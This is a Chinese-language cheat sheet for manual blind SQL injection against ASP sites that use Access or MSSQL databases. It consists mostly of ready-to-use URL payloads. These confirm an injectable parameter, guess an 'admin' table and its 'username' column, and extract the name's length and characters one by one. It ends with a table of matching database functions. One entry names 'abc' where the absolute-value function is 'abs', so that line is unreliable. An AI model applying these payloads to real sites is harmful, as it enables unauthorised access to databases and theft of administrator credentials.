手工注入

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ASP手工检测
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□ 检测可否注入
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http://url/xx?id=1111 and 1=1 (正常页面)
http://url/xx?id=1111 and 1=2 (出错页面)

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□ 检测表段的
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http://url/xx?id=1111 and exists (select * from admin)

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□ 检测字段的
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http://url/xx?id=1111 and exists (select username from admin)

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□ 检测ID
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http://url/xx?id=1111 and exists (select id from admin where ID=1)

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□ 检测长度的
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http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

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□ 检测是否为MSSQL数据库
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http://url/xx?id=1111 and exists (select * from sysobjects)

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□ 检测是否为英文
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(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

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□ 检测英文的范围
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(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

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□ 检测那个字符
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(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

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常用函数
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Access：asc(字符)　SQLServer：unicode(字符)
作用：返回某字符的ASCII码

Access：chr(数字)　SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符

Access：mid(字符串,N,L)　SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串

Access：abc(数字)　SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）

Access：A between B And C　SQLServer：A between B And C
作用：判断A是否界于B与C之间

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newsid=291&classid=12 and 1=1
newsid=291 and 1=1&classid=12
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